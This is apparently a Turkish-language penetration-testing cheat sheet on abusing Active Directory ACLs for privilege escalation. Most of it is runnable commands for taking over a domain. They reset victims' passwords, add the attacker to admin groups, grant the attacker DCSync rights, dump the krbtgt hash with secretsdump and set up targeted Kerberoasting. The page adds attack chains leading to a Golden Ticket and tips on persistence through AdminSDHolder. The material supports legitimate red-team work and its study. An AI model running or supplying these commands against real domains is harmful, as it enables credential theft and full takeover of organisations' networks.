Skip to content

ACL Abuse

MITRE ATT&CK · T1222.001 phase: privilege escalation

MITRE ATT&CK · T1222.001 phase: privilege escalation

Active Directory nesneleri (kullanıcı, grup, bilgisayar, GPO, OU) üzerindeki erişim kontrol listeleri (ACL/DACL) yanlış yapılandırıldığında, düşük yetkili bir hesap başka bir nesne üzerinde kontrol kazanabilir. BloodHound bu ilişkileri kenar (edge) olarak gösterir ve Domain Admins’e giden yolu çizer. ACL abuse çoğu modern AD privesc’in (RBCD, Shadow, DCSync ACE, GPO) ortak ön adımıdır.

Hak / EdgeEtkiTipik sömürü
GenericAllTam kontrolparola reset, SPN, group add, RBCD, shadow
GenericWriteÖzellik yazmatargeted Kerberoast, RBCD, shadow, scriptPath
WriteDaclACL yazkendine GenericAll / DCSync
WriteOwnerOwner olsonra WriteDacl
OwnsZaten ownerWriteDacl
ForceChangePasswordParola sıfırlanet rpc password / bloodyAD
AddMemberGruba ekleDA / IT grupları
AllExtendedRightsExtendedForceChangePassword vb.
WriteProperty (spesifik)Tek attributemsDS-KeyCredentialLink, AllowedToAct
DCSync rightsReplikasyonDCSync
Terminal window
Find-InterestingDomainAcl -ResolveGUIDs
Terminal window
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs
Terminal window
Get-PathAcl \\domain.local\SYSVOL
Terminal window
impacket-dacledit -action read -target 'Domain Admins' \
domain.local/user:'Pass' -dc-ip DC
Terminal window
bloodyAD -u user -p 'Pass' -d domain.local --host DC \
get objectacl 'CN=Target,CN=Users,DC=domain,DC=local'

BloodHound: Shortest Paths to Domain Admins, ACL kenarlarını tek tek aç.

  1. ForceChangePassword — hedef kullanıcının parolasını sıfırla: Note Parola reset oturumları düşürür / kullanıcı fark eder — mümkünse Shadow Credentials tercih et.

    Terminal window
    net rpc password 'victim' 'NewPass123!' \
    -U 'domain.local/attacker%Pass123' -S 10.10.10.5
    Terminal window
    bloodyAD -u attacker -p 'Pass123' -d domain.local --host 10.10.10.5 \
    set password victim 'NewPass123!'
  2. AddMember — kendini / controlled user’ı gruba ekle:

    Terminal window
    bloodyAD -u attacker -p 'Pass123' -d domain.local --host DC \
    add groupMember 'IT Admins' attacker
    Terminal window
    net group 'IT Admins' attacker /add /domain
  3. WriteDacl / GenericAll → DCSync :

    Terminal window
    impacket-dacledit -action write -rights DCSync -principal attacker \
    -target-dn 'DC=domain,DC=local' domain.local/attacker:'Pass123'
    Terminal window
    bloodyAD -u attacker -p 'Pass123' -d domain.local --host DC \
    add dcsync attacker
    Terminal window
    impacket-secretsdump -just-dc-user krbtgt domain.local/attacker:'Pass123'@DC
  4. GenericWrite → Targeted Kerberoast :

    Terminal window
    Set-DomainObject -Identity victim -Set @{serviceprincipalname='http/evil'}
    Terminal window
    Set-DomainObject -Identity victim -Clear serviceprincipalname
  5. GenericWrite on Computer$ → RBCD / Shadow : RBCD

  6. Shadow Credentials

  7. WriteOwner zinciri :

    Terminal window
    bloodyAD -u attacker -p 'Pass' -d domain.local --host DC \
    set owner 'CN=Target,CN=Users,DC=domain,DC=local' attacker
    Terminal window
    bloodyAD ... add genericAll 'CN=Target,...' attacker
  8. GPO / OU : GPO Abuse

  9. OU GenericAll → child nesneler / GPLink

adminCount=1 nesnelerde SDProp ACL’i ~60 dk’da AdminSDHolder’dan kopyalar. Geçici ACE yazsan bile geri alınabilir; kalıcılık için AdminSDHolder üzerine yaz.

ForceChangePassword · net rpc

embedded tool
Generated command
net rpc password victim NewP@ss123 -U domain.local/attacker%Pass123 -S 10.10.10.5
GenericAll on soft_admin user
→ Shadow Credentials (reset yok)
→ soft_admin NT
→ AddMember on Backup Operators
→ NTDS copy → krbtgt
WriteDacl on domain object
→ DCSync ACE
→ secretsdump
→ Golden Ticket
  • ForceChangePassword en “görünür” kullanıcı etkisi — Shadow/RBCD tercih.
  • DCSync ACE bırakmak kalıcılıktır; angajmanda temizle veya bilerek bırak.
  • Targeted Kerberoast SPN’ini mutlaka geri al.
  • Toplu Find-InterestingDomainAcl LDAP gürültüsü — BloodHound DCOnly yeterli olabilir.
  • BloodHound kenarı stale — exploit öncesi dacledit read ile doğrula.
  • Deny ACE allow’dan önce gelir.
  • Nested group ile gelen hak — MemberOf yolunu takip et.
  • GenericWrite ≠ her attribute; property set kısıtları.
  • Protected Users / SID filtering trust senaryolarında etki değişir.

DCSync · RBCD · Shadow Credentials · GPO Abuse · BloodHound